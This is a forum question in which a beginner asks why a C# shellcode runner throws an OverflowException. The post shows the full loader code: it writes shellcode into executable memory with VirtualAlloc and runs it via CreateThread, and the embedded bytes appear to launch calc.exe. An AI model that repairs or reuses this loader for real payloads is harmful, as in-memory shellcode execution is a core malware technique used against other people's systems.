system.overflow exception in c# while trying to process injection

Question

I'm new at process injection. I'm trying to write my first process injection program in c# but, I always get this error: system.overflow exception

System.OverflowException: 'Arithmetic operation resulted in an overflow' my code is :

using System;
using System.Runtime.InteropServices;

namespace demo
{
    class Program
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("kernel32.dll")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


        static void Main(string[] args)
        {
            byte[] buf = new byte[193] {
      0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
      0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
      0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
      0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
      0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
      0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
      0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
      0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
      0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
      0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
      0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
      0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
      0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

            int shellcode_size = buf.Length;
            IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
            Marshal.Copy(buf, 0, init, shellcode_size);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0, 0, (UInt32)init, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        public enum TYPE
        {
            MEM_COMMIT = 0x00001000
        }

        public enum PROTECTION
        {
            PAGE_EXECUTE_READWRITE = 0x40
        }
    }
}

so, can anyone help me?

I asked this question to chatgpt, it said change the shellcode type to int64(long). but, it didn't work because VirtualAlloc function always wants int32.